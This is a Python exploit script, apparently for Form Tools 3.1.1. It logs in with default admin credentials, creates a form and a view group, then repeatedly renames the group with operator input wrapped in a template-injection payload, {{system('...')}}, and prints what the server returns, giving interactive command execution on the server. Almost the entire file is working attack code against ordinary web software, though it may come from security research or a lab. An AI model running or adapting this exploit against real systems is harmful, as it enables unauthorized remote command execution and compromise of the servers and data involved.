import re import json import argparse from urllib.parse import urljoin, urlparse, parse_qs import requests # ----------------------- # Config # ----------------------- BASE = "http://www.vulnerable-form-tools.com:80" # Login LOGIN_URL = urljoin(BASE, "/index.php") LANDING_URL = urljoin(BASE, "/") USERNAME = "admin" PASSWORD = "admin" # Form creation FORM_NAME = "Test01" NUM_FIELDS = 5 ACCESS_TYPE = "admin" # After form creation, server redirects to /admin/forms/edit/?form_id=...&message=... VERIFY_AFTER_ADD = urljoin(BASE, "/admin/forms/edit/") # View Group creation (AJAX) ACTIONS_URL = urljoin(BASE, "/global/code/actions.php") # Optional: route through Burp in a lab USE_BURP = False PROXIES = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"} COMMON_HEADERS = { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Connection": "keep-alive", "Upgrade-Insecure-Requests": "1", } # Debug toggle (set via --debug) DEBUG = False # --------- Hardcoded naming convention --------- NAME_PREFIX = "{{system('" NAME_SUFFIX = "')}}" # ----------------------------------------------- # ----------------------- # Helpers # ----------------------- def log(msg: str): print(f"[+] {msg}") def dlog(msg: str): if DEBUG: print(f"[D] {msg}") def show_redirects(resp: requests.Response): for i, r in enumerate(resp.history, 1): loc = r.headers.get("Location", "") log(f"Redirect {i}: {r.status_code} {r.request.method} -> {loc}") def extract_hidden_inputs(html: str) -> dict: hidden = {} for m in re.finditer(r']+type=["\']hidden["\'][^>]*>', html, flags=re.I): n = re.search(r'name=["\']([^"\']+)["\']', m.group(0), flags=re.I) v = re.search(r'value=["\']([^"\']*)["\']', m.group(0), flags=re.I) if n: hidden[n.group(1)] = v.group(1) if v else "" return hidden def parse_view_groups(html: str) -> dict: # Returns {group_id: group_name} groups = {} for m in re.finditer( r']*name=["\']group_name_(\d+)["\'][^>]*value=["\']([^"\']*)["\']', html, flags=re.I | re.S ): gid = m.group(1) gname = m.group(2) groups[gid] = gname return groups def extract_sortable_fields(html: str) -> dict: fields = {} for m in re.finditer( r']*name=["\'](view_list_sortable__[^"\']+)["\'][^>]*>', html, flags=re.I ): name = m.group(1) v = re.search(r'value=["\']([^"\']*)["\']', m.group(0), flags=re.I) fields[name] = v.group(1) if v else "" return fields def extract_group_orders(html: str) -> list[str]: ids = [] for m in re.finditer(r']*class=["\']group_order["\'][^>]*value=["\'](\d+)["\']', html, flags=re.I): ids.append(m.group(1)) return ids def find_group_id_by_name(s: requests.Session, form_id: str, name: str) -> str: views_url = f"{BASE}/admin/forms/edit/index.php?form_id={form_id}&page=views" headers_html = {**COMMON_HEADERS, "Referer": f"{BASE}/admin/forms/edit/index.php?form_id={form_id}&page=main"} r = s.get(views_url, headers=headers_html, timeout=15) if r.status_code != 200: return "" groups = parse_view_groups(r.text) for gid, gname in groups.items(): if gname == name: return gid return "" # ----------------------- # Auth # ----------------------- def do_login(s: requests.Session) -> bool: s.headers.update(COMMON_HEADERS) if USE_BURP: s.proxies.update(PROXIES) s.verify = False try: import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) except Exception: pass log(f"Target: {BASE}") r = s.get(LANDING_URL, timeout=15) log(f"GET / -> {r.status_code} in {r.elapsed.total_seconds():.3f}s") payload = {"username": USERNAME, "password": PASSWORD} headers = {**COMMON_HEADERS, "Origin": BASE, "Referer": LANDING_URL} log(f"POST {LOGIN_URL} with username={USERNAME}") resp = s.post(LOGIN_URL, data=payload, headers=headers, allow_redirects=True, timeout=20) log(f"POST login -> {resp.status_code} in {resp.elapsed.total_seconds():.3f}s") if resp.history: show_redirects(resp) check = s.get(LANDING_URL, timeout=15) ok = (check.status_code == 200) and any(x in check.text for x in ["Logout", "Admin", "Dashboard", "Sign out"]) log(f"Login status: {'OK' if ok else 'FAILED'}") if ok: dlog(f"Session cookies: {s.cookies.get_dict()}") return ok # ----------------------- # Create Internal Form # ----------------------- def add_internal_form(s: requests.Session, form_name: str, num_fields: int, access_type: str) -> str: ADD_ROOT = urljoin(BASE, "/admin/forms/add/") ADD_INDEX = urljoin(BASE, "/admin/forms/add/index.php") ADD_INTERNAL_GET = urljoin(BASE, "/admin/forms/add/internal.php") ADD_INTERNAL_POST = urljoin(BASE, "/admin/forms/add/internal.php") headers = { **COMMON_HEADERS, "Origin": BASE, "Referer": urljoin(BASE, "/admin/forms/"), } data = {"new_form": "Add Form"} log(f"POST {ADD_ROOT} new_form=Add Form") r1 = s.post(ADD_ROOT, data=data, headers=headers, allow_redirects=True, timeout=20) dlog(f"-> {r1.status_code} in {r1.elapsed.total_seconds():.3f}s") if r1.history: show_redirects(r1) headers["Referer"] = ADD_ROOT data = {"internal": "SELECT"} log(f"POST {ADD_INDEX} internal=SELECT") r2 = s.post(ADD_INDEX, data=data, headers=headers, allow_redirects=True, timeout=20) dlog(f"-> {r2.status_code} in {r2.elapsed.total_seconds():.3f}s") if r2.history: show_redirects(r2) headers = {**COMMON_HEADERS, "Referer": ADD_ROOT} log(f"GET {ADD_INTERNAL_GET}") r3 = s.get(ADD_INTERNAL_GET, headers=headers, timeout=15) dlog(f"-> {r3.status_code} in {r3.elapsed.total_seconds():.3f}s") hidden = extract_hidden_inputs(r3.text) if hidden and DEBUG: dlog(f"Hidden inputs: {list(hidden.keys())}") headers = { **COMMON_HEADERS, "Origin": BASE, "Referer": ADD_INTERNAL_GET, } payload = { **hidden, "form_name": form_name, "num_fields": str(num_fields), "access_type": access_type, "add_form": "Add Form", } log(f"POST {ADD_INTERNAL_POST} to create form '{form_name}' with {num_fields} fields") r4 = s.post(ADD_INTERNAL_POST, data=payload, headers=headers, allow_redirects=True, timeout=20) dlog(f"-> {r4.status_code} in {r4.elapsed.total_seconds():.3f}s") if r4.history: show_redirects(r4) final_url = r4.url log(f"Final URL after creation: {final_url}") form_id = "" try: parsed = urlparse(final_url) if parsed.path.endswith("/admin/forms/edit/"): qs = parse_qs(parsed.query) form_id = (qs.get("form_id") or [""])[0] message = (qs.get("message") or [""])[0] if message: log(f"Server message: {message}") except Exception: pass if not form_id and "notify_internal_form_created" in r4.text: m = re.search(r'form_id=(\d+)', r4.text) if m: form_id = m.group(1) if form_id: log(f"Form created OK with form_id={form_id}") else: log("Form creation status unclear. Check response body or server messages.") return form_id # ----------------------- # Add View Group on Views tab # ----------------------- def add_view_group(s: requests.Session, form_id: str, group_name: str) -> str: views_main = f"{BASE}/admin/forms/edit/index.php?form_id={form_id}&page=main" views_url = f"{BASE}/admin/forms/edit/index.php?form_id={form_id}&page=views" headers_html = {**COMMON_HEADERS, "Referer": views_main} log(f"GET {views_url} (Views tab for form_id={form_id})") r_get = s.get(views_url, headers=headers_html, timeout=15) dlog(f"-> {r_get.status_code} in {r_get.elapsed.total_seconds():.3f}s") headers_ajax = { **COMMON_HEADERS, "Accept": "application/json, text/javascript, */*; q=0.01", "Content-Type": "application/x-www-form-urlencoded", "X-Requested-With": "XMLHttpRequest", "Origin": BASE, "Referer": views_url, } payload = {"group_name": group_name, "action": "create_new_view_group"} log(f"POST {ACTIONS_URL} action=create_new_view_group group_name='{group_name}'") r_post = s.post(ACTIONS_URL, data=payload, headers=headers_ajax, timeout=20, allow_redirects=True) dlog(f"-> {r_post.status_code} in {r_post.elapsed.total_seconds():.3f}s") group_id = "" ct = r_post.headers.get("Content-Type", "") if "application/json" in ct: try: j = r_post.json() log(f"AJAX response JSON: {j}") group_id = str(j.get("group_id") or j.get("new_group_id") or j.get("id") or j.get("groupId") or "") except json.JSONDecodeError: log("Warning: JSON decode failed (non-JSON or malformed response)") if not group_id: r_check = s.get(views_url, headers=headers_html, timeout=15) dlog(f"GET {views_url} (verify) -> {r_check.status_code}") if r_check.status_code == 200 and group_name in r_check.text: log("Group appears on Views page") else: log("Could not confirm group presence from HTML") if group_id: log(f"View group created with group_id={group_id}") else: log("View group created (likely), but no group_id found in response") return group_id # ----------------------- # AJAX rename (fast path) # ----------------------- def try_ajax_group_rename(s: requests.Session, form_id: str, group_id: str, new_name: str) -> bool: actions = ["rename_view_group", "update_view_group_name", "update_view_group"] headers_ajax = { **COMMON_HEADERS, "Accept": "application/json, text/javascript, */*; q=0.01", "Content-Type": "application/x-www-form-urlencoded", "X-Requested-With": "XMLHttpRequest", "Origin": BASE, "Referer": f"{BASE}/admin/forms/edit/index.php?form_id={form_id}&page=views", } for action in actions: payload = {"action": action, "group_id": str(group_id), "group_name": new_name} r = s.post(ACTIONS_URL, data=payload, headers=headers_ajax, timeout=15) if r.status_code == 200 and "application/json" in (r.headers.get("Content-Type","")): try: j = r.json() except json.JSONDecodeError: continue if j.get("success") is True or j.get("group_name") == new_name: log(f"AJAX rename via action='{action}' succeeded: {j}") return True return False # ----------------------- # Interactive Rename of a View Group (with prefix/suffix) # ----------------------- def rename_view_group_interactive(s: requests.Session, form_id: str, group_id: str) -> str: """ Prompts 'Input: ', applies hardcoded NAME_PREFIX/NAME_SUFFIX, attempts AJAX rename, falls back to HTML POST with sortable rows, then prints 'Response: '. """ views_url = f"{BASE}/admin/forms/edit/index.php?form_id={form_id}&page=views" edit_post_url = f"{BASE}/admin/forms/edit/index.php?form_id={form_id}" referer_get = f"{BASE}/admin/forms/edit/index.php?form_id={form_id}&page=main" # Prompt and apply naming convention print("Input: ", end="", flush=True) base_name = input().strip() final_name = f"{NAME_PREFIX}{base_name}{NAME_SUFFIX}" dlog(f"Applied name: {final_name}") # Try AJAX first if try_ajax_group_rename(s, form_id, group_id, final_name): headers_html = {**COMMON_HEADERS, "Referer": referer_get} r_verify = s.get(views_url, headers=headers_html, timeout=15) saved = "" if r_verify.status_code == 200: m = re.search( rf']*name=["\']group_name_{re.escape(group_id)}["\'][^>]*value=["\']([^"\']*)["\']', r_verify.text, flags=re.I | re.S ) saved = m.group(1) if m else "" print(f"Response: {saved}") return saved # Fallback: GET Views to gather fields and compute sortable rows headers_html = {**COMMON_HEADERS, "Referer": referer_get} r_get = s.get(views_url, headers=headers_html, timeout=15) if r_get.status_code != 200: log(f"Views GET failed: {r_get.status_code}") print("Response: ") return "" groups = parse_view_groups(r_get.text) hidden = extract_hidden_inputs(r_get.text) orders = extract_group_orders(r_get.text) # Compute rows string akin to UI behavior; ex: "23|~25|" if orders: rows = "~".join(f"{gid}|" for gid in orders) else: rows = "~".join(f"{gid}|" for gid in sorted(groups.keys(), key=int)) # Build POST payload form_payload = {**hidden} form_payload["page"] = "views" form_payload["update_views"] = "Update" for gid, gname in groups.items(): form_payload[f"group_name_{gid}"] = gname form_payload[f"group_name_{group_id}"] = final_name # Always include sortable fields form_payload["view_list_sortable__rows"] = rows form_payload["view_list_sortable__new_groups"] = str(len(groups)) form_payload["view_list_sortable__deleted_rows"] = "" headers_post = { **COMMON_HEADERS, "Origin": BASE, "Referer": views_url, # exact Views referer "Content-Type": "application/x-www-form-urlencoded", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", } r_post = s.post(edit_post_url, data=form_payload, headers=headers_post, timeout=20, allow_redirects=True) dlog(f"POST rename -> {r_post.status_code} in {r_post.elapsed.total_seconds():.3f}s") # Verify by reloading Views r_verify = s.get(views_url, headers=headers_html, timeout=15) saved = "" if r_verify.status_code == 200: m = re.search( rf']*name=["\']group_name_{re.escape(group_id)}["\'][^>]*value=["\']([^"\']*)["\']', r_verify.text, flags=re.I | re.S ) saved = m.group(1) if m else "" print(f"Response: {saved}") return saved # ----------------------- # Main (continuous rename loop) # ----------------------- def main(): s = requests.Session() if not do_login(s): return # Create the internal form fid = add_internal_form(s, FORM_NAME, NUM_FIELDS, ACCESS_TYPE) if not fid: log("No form_id extracted; stopping.") return # Optional: verify edit page reachable edit_url = f"{VERIFY_AFTER_ADD}?form_id={fid}" r = s.get(edit_url, timeout=15) log(f"GET {edit_url} -> {r.status_code}") if r.status_code == 200: log("Verified edit page is reachable") # Create the view group on the Views tab seed_group_name = "TestGroup" gid = add_view_group(s, fid, seed_group_name) # If AJAX didn't return an id, locate by name if not gid: gid = find_group_id_by_name(s, fid, seed_group_name) if gid: log(f"Found group id by name: {gid}") else: log("Could not determine group_id; aborting rename loop.") return log("Rename loop started. Enter a new name each time. Press Ctrl+C to exit.") try: while True: rename_view_group_interactive(s, fid, gid) except KeyboardInterrupt: print() log("Exiting rename loop.") if __name__ == "__main__": parser = argparse.ArgumentParser(description="Form Tools 3.1.1 exploit automation") parser.add_argument("--debug", action="store_true", help="Enable extra debug output") args = parser.parse_args() DEBUG = args.debug if DEBUG: dlog("Debug mode enabled") main()